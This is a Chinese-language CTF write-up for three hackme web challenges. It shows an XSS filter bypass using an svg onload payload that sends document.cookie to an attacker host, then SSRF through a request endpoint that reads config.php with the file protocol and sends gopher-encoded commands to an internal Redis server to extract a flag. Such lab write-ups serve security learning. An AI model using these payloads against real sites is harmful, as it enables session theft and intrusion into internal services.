hackme web wp

最近几场比赛碰到了不少xss,就算看过xss的原理依旧没什么想法,还是找几道题来做比较快,前面的题以后再补上

xssme

基础获取cookie的xss题
登录进去有个发邮箱的界面,题目说要打admin那就给admin发送邮箱。先试了一下
<script>alert(1)</script>

提示)和<script被过滤,于是尝试<svg/onload=alert('1')>

依旧只过滤了),<svg/onload=>是可以用的,于是
<svg/onload="document.location='http://ip或域名/?'+document.cookie">
把cookie发到xss平台上

成功打到flag

xssrf leak

这题提示了要去打源码,于是尝试
<svg/onload="document.location='http://ip或域名/?'+bota(document.body.innerhtml)">

提示innerhtml被过滤,那就实体编码一波,然后成功获得源码

1
2
3
<li class="nav-item">
<a class="nav-link" href="request.php">Send Request</a>
</li>

读源码会发现一个request接口,猜测可能是用来发送请求的,于是再打一波

1
2
3
4
5
6
7
<form action="/request.php" method="POST">
<div class="form-group">
<label for="url">URL</label>
<textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10"></textarea>
</div>
<button class="btn btn-primary">Send Request</button>
</form>

发现可以往这个接口传一个url参数,于是猜测这个url参数在后台可能会使用curl()对其进行访问然后返回给管理员
不过不知道该读什么,于是试试看robots.txt看看有没有什么提示

提示打config.php,然后可以知道这个服务器是nginx,于是尝试用file协议去读取/var/www/html/config.php。成功打到页面,浏览器打开就有flag

xssrf redis

看题目就是要打redis的题,看wp的大佬们都说要用gopher协议,然而这两个都只是听过没用过,只能从零开始摸了

首先是gopher协议,和普通url协议一样是可以通过ip:port去访问目标应用。不过gopher协议可以在之后接上该应用可用的命令,不过在命令前要加个_
比如向80端口发送get请求,就要是gopher://ip:80/_GET/

然后redis可以通过info获取信息,key获取键的信息

从上提到flag我们知道redis在25566端口,于是使用上一题的url参数向request.php发送请求对redis进行攻击
gopher://127.0.0.1:25566/_info%250a_quit(这里%250a是用来分隔命令的)

得到只有一个key,于是查键名
gopher://127.0.0.1:25566/_keys%2520*%250a_quit

键名位flag,然后查flag的类型
gopher://127.0.0.1:25566/_type%2520flag%250a_quit

flag的类型是list,我们不能直接去读,要先去获得list的长度
gopher://127.0.0.1:25566/_llen%2520flag%250a_quit

得到长度是53位,于是循环读flag
gopher://127.0.0.1:25566/_lrange%2520flag%25200%252053%250a_quit
获得的flag是倒序的,于是python处理一下得到flag